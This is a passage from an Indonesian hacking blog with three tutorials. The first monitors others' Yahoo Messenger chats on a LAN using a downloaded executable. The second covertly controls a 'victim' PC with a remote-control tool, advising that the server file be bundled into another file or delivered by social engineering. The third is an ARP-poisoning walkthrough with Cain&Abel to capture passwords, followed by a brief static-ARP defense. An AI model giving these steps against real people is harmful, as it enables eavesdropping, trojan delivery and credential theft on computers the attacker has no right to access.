Namun sekarang IRC sudah banyak ditinggalkan orang dan lebih memilih Instan messeging seperti Yahoo messenger dan sejenisnya yang dianggap lebih langsung, friendsly dan aman. Hal itu ditunjukkan oleh Yahoo Messenger yang apabila akan masuk ke salah satu channel, kita harus melalui sebuah filter berupa captcha.
Namun demikian, YM sebenarnya masih tetap bisa dimonitor walaupun untuk melakukan hal ini, kita membutuhkan tool dari pihak ketiga. Saya Sendiri biasa menggunakan YahooChecker.

Untuk mendapatkan tool nya, silahkan sedot di:
http://rapidshare.com/files/109330688/yahoochecker.exe

Kita asumsikan anda telah mendownload dan menginstal yahoockecker.exe. kemudian jalankan programnya. Screenshoot nya seperti gambar di bawah ini.


Setelah itu kita lakukan konfigurasi.

1. Tentukan Adapter

2. Scanning terhadap ip address jaringan lokal

Pilih salah satu IP yang akan kita monitor

3. Klik START untuk memulai monitoring

Jika room yang kita monitor ternyata sedang online dan melakukan komunikasi di YM, hasilnya akan tampak seperti gambar dibawah ini.

Ingat,,,ngintip merupakan pekerjaan yang kurang baik...bisa berakibat timbilan..!!
Baca Selengkapnya...

Sunday, April 13, 2008

Mengontrol PC Orang Lain

Apa yang akan kita bicarakan kali ini sebenarnya sudah menjadi hal yang umum bagi admin jaringan, tapi yang namanya belajar tentunya tidak mengenal hal itu. Yang akan kita bahas ialah bagaimana mengontrol komputer lain secara remote. Disini kita menggunakan COOL! Remote Control, alasan saya memilihnya karena COOL! sangat mudah dioperasikan. Selain itu, bagi para peternak keylogger mungkin ini bisa menjadi salah satu alternatif mengingat memasyarakatnya pengguna freezer yang membuat keylogger tidak bisa berbuat banyak.
Download dan install lah! Kemudian buka direktori C:\Program Files\COOL! Remote Control, disana ada dua buah file aplikasi yaitu RemoteControl dan Remote Server.

File pertama yaitu RemoteControl merupakan aplikasi controler untuk komputer kita sedangkan file yang kedua adalah file connector antara komputer kita dengan korban. File inilah yang harus dikirim kemudian di jalankan di komputer korban. Silahkan anda pikirkan bagaimana caranya agar file RemoteServer ini bisa dijalankan, apakah mau di bungkus oleh file lain (digabungkan) kemudian dikirim ke korban atau gunakan social engineering...teu langkung!

Jalankan program Cool! Screenshootnya seperti ini.

Hal pertama yang harus kita lakukan ialah menghubungkan antara komputer kita dengan komputer korban. Kita asumsikan bahwa kita telah menyimpan dan menjalankan file server di komputer korban. Untuk itu, klik menu Main-Connect To atau gunakan Ctrl+C

Isi Ip Address dari komputer korban kemudian klik OK.
Setelah koneksi berhasil, Anda bisa berbuat banyak pada komputer korban termasuk menjawab pesan di chatting.
Namun ada satu kelemahan dari cool ini yaitu pada saat file server di jalankan dia akan menambahkan satu icon. Perhatikan gambar berikut!

Tapi diluar itu, tool ini layak untuk dijadikan salah satu senjata.

Baca Selengkapnya...

Saturday, January 19, 2008

Sniffing dengan Cain&Abel

Sebelum kita membahas tentang bagaimana cara melakukan aksi sniffing dalam sebuah jaringan LAN, ada baiknya kita mengetahui apa yang dimaksud dengan sniffing.
Sniffing adalah sebuah aksi penyadapan. Melihat cara yang digunakan, sniffing dibagi kedalan dua kategori; passive sniffing yaitu melakukan penyadapan tanpa merubah data atau packet apapun dari jaringan sedangkan active sniffing merubah packet di jaringan atau mengirimkan packet dengan alamat MAC yang berubah-ubah secara acak dalam jumlah yang sangat banyak. Active sniffing biasanya menggunakan tool tambahan (yang biasa digunakan yaitu Etherflood), tapi kali ini kita hanya akan membahas bagaimana cara menggunakan passive sniffing dan tool yang kita gunakan adalah Cain&Abel.
Cain&Abel merupakan sebuah tool yang sangat popular dan cara penggunaannyapun sangat sederhana, untuk sedot Cain&Abel bisa diambil pada topik TOOLS.
Langkah-langkah yang harus dilakukan:
1. Install program Cain&Abel
2. Jalankan Cain
3. Untuk melakukan aksi sniffing, klik sub-tab Sniffer
4. Klik sub-tab APR
5. Klik menu Configure – akan muncul configure dialog yang berisi tentang beberapa sub-tab configuration – klik tab Sniffer – akan tampak beberapa keterangan tentang Adapter, IP Address dll – klik satu baris di bawah menu-menu tadi yang berisi keterangan IP Address komputer kita, MAC dll – kemudian OK.
6. Active kan Cain dengan mengklik tombol Start
7. Agar komputer kita memiliki kemampuan routing, klik tombol Start APR
8. Jalankan Command Prompt
9. Lakukan komunikasi dengan komputer target dengan melakukan pinging terhadap IP Address komputer target, contoh c:\ping 192.168.0.2, dalam beberapa kasus kita harus melakukan pinging (menurut pengalaman saya, pinging merupakan cara tercepat untuk melakukan komunikasi dengan komputer target) lebih dari satu komputer, hal itu bertujuan untuk menjadikan komputer lain sebagai gateway.
10. Pada Cain ada dua bagian tabel yang bermenu sama Status, IP Address, MAC Address dll. Untuk memulai, klik tabel bagian atas (router area), kemudian klik tanda plus (Add to list)
11. Akan muncul dialog New ARP Poison Routing. Klik IP Address komputer target yang ada di kolom sebelah kiri dan klik IP Address komputer gateway pada kolom sebelah kanan. Klik OK
Setelah IP Address masuk ke dalam list, kita tinggal menunggu lalu lintas packet yang tertangkap oleh Cain. Untuk mengetahui hasil yang tertangkap, klik tab passwords.

- Cara kerja dari Cain:
Cain&Abel meracuni ARP tabel komputer target sehingga komunikasi antara komputer target dengan gateway harus melalui komputer kita.

- Masalah yang sering ditemukan:
Cain&Abel sering teridentifikasi sebagai virus oleh antivirus, hal ini dikarenakan antivirus menggunakan fasilitas heuristic yaitu menebak-nebak sebuah file sebagai virus, fungsi ini bertujuan untuk mengenali virus-virus baru yang belum terdeteksi oleh database antivirus. Namun fasilitas ini terkadang menjadi “false warning” dan menganggap program-program tertentu terutama hack tools sebagai virus, bahkan antivirus lain pun dianggap virus.

- Bagaimana mencegah aksi snifing ini:
Untuk mencegah aksi ini, lakukan perubahan pada ARP, dalam hal ini type dari ARP yang akan kita ganti dari dynamic menjadi static. Caranya : c:\arp –s [IP Address] [MAC Address] dan untuk mengembalikan ke keadaan semula, ganti atribut –s menjadi -d

Thanks to :
S'to Jasakom
hyp3rl1nk
Baca Selengkapnya...

Saturday, December 15, 2007

TOOLS

Baca Selengkapnya...
 
:::POWER OF TECHNOLOGY::: | Template Ireng Manis © 2010 Free Template Ajah. Distribution by Dhe Template. Supported by Cash Money Today and Forex Broker Info Editing By: Diah Ika Puspa Sari